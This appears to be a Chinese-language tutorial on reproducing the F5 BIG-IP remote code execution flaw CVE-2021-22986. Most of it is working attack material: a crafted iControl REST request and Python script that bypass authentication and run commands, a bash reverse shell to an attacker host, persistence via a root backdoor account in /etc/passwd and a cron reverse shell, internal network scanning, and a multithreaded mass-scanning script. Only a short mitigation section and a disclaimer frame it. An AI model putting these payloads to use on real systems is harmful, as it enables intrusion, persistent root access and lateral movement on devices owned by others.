您好,登录后才能下订单哦!
# 如何复现F5 BIG-IP远程代码执行漏洞CVE-2021-22986
## 漏洞概述
CVE-2021-22986是F5 BIG-IP设备中一个高危的远程代码执行漏洞,影响BIG-IP的iControl REST组件。该漏洞存在于未认证的HTTP请求处理过程中,攻击者通过构造特殊请求可在目标系统上执行任意系统命令,CVSS评分达到9.8(Critical)。
### 受影响版本
- BIG-IP 16.x: 16.0.0 - 16.0.1
- BIG-IP 15.x: 15.1.0 - 15.1.2
- BIG-IP 14.x: 14.1.0 - 14.1.3.1
- BIG-IP 13.x: 13.1.0 - 13.1.3.5
- BIG-IP 12.x: 12.1.0 - 12.1.5.2
## 环境准备
### 实验环境要求
1. **漏洞环境**:
- 安装受影响版本的F5 BIG-IP虚拟机(可从F5官网下载试用版)
- 推荐使用VMware或VirtualBox运行
2. **测试工具**:
- Kali Linux攻击机
- Burp Suite Community Edition
- Python 3.x环境
- curl命令工具
3. **网络配置**:
```bash
# 确保攻击机与目标网络互通
ping <BIG-IP_IP>
首先确认目标BIG-IP的iControl REST接口是否开放(默认端口443):
curl -k https://<target_ip>/mgmt/tm/util/bash
正常情况应返回401未授权响应,若返回404则可能不存在漏洞。
通过Burp Suite拦截任意请求,修改为以下格式:
POST /mgmt/tm/util/bash HTTP/1.1
Host: <target_ip>
Authorization: Basic YWRtaW46
X-F5-Auth-Token: arbitrary
Content-Type: application/json
{"command":"run","utilCmdArgs":"-c 'id'"}
关键点说明:
- Authorization: Basic YWRtaW46
是空密码admin的base64编码
- X-F5-Auth-Token
头必须存在但值任意
- utilCmdArgs
参数包含要执行的命令
使用Python自动化脚本测试:
import requests
import json
target = "https://<target_ip>/mgmt/tm/util/bash"
headers = {
"Authorization": "Basic YWRtaW46",
"X-F5-Auth-Token": "x",
"Content-Type": "application/json"
}
data = {"command":"run","utilCmdArgs":"-c 'id'"}
response = requests.post(
target,
headers=headers,
json=data,
verify=False
)
print(response.text)
预期输出应包含当前用户的UID信息。
在攻击机启动监听:
nc -lvnp 4444
发送反弹Shell命令(需URL编码):
payload = {
"command": "run",
"utilCmdArgs": "-c 'bash -i >& /dev/tcp/<attack_ip>/4444 0>&1'"
}
该漏洞源于iControl REST组件的认证绕过和命令注入:
1. 认证绕过:当同时存在Authorization
和X-F5-Auth-Token
头时,认证逻辑存在缺陷
2. 命令注入:utilCmdArgs
参数未正确过滤,允许通过-c
参数执行任意Bash命令
关键代码逻辑(伪代码):
// 认证检查逻辑
if (headers.contains("X-F5-Auth-Token") &&
headers.get("Authorization").startsWith("Basic")) {
bypassAuthentication(); // 漏洞点
}
// 命令执行处理
String cmd = request.getParameter("utilCmdArgs");
Runtime.getRuntime().exec("/bin/bash " + cmd); // 注入点
官方补丁:
临时缓解措施:
# 限制iControl REST接口访问
tmsh modify /sys httpd allow replace-all-with { 127.0.0.1 }
网络层防护:
BIG-IP默认以root权限运行服务,漏洞利用后自动获得最高权限。
# 创建后门账户
echo 'backdoor:$1$salt$UqddPX3r4kH3UL5ADq6Bx.:0:0::/root:/bin/bash' >> /etc/passwd
# 添加cron任务
(crontab -l ; echo "* * * * * /bin/bash -c 'exec /bin/bash -i &>/dev/tcp/attacker/5555 <&1'") | crontab -
利用BIG-IP的特殊网络位置:
# 扫描内网
for i in {1..254}; do ping -c 1 192.168.1.$i | grep "bytes from"; done
# 通过BIG-IP代理流量
curl --proxy http://localhost:8080 http://internal-web/
以下Python脚本可批量检测漏洞存在:
import requests
from concurrent.futures import ThreadPoolExecutor
def check_vuln(ip):
try:
resp = requests.post(
f"https://{ip}/mgmt/tm/util/bash",
headers={"Authorization": "Basic YWRtaW46", "X-F5-Auth-Token": "x"},
json={"command": "run", "utilCmdArgs": "-c 'echo vulnerable'"},
verify=False,
timeout=5
)
if 'vulnerable' in resp.text:
print(f"[+] {ip} is vulnerable!")
except Exception as e:
pass
with open('targets.txt') as f:
targets = [line.strip() for line in f]
with ThreadPoolExecutor(10) as executor:
executor.map(check_vuln, targets)
”`
注:实际复现时请确保: 1. 获得目标系统所有者授权 2. 在隔离测试环境操作 3. 遵守当地网络安全法律法规
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。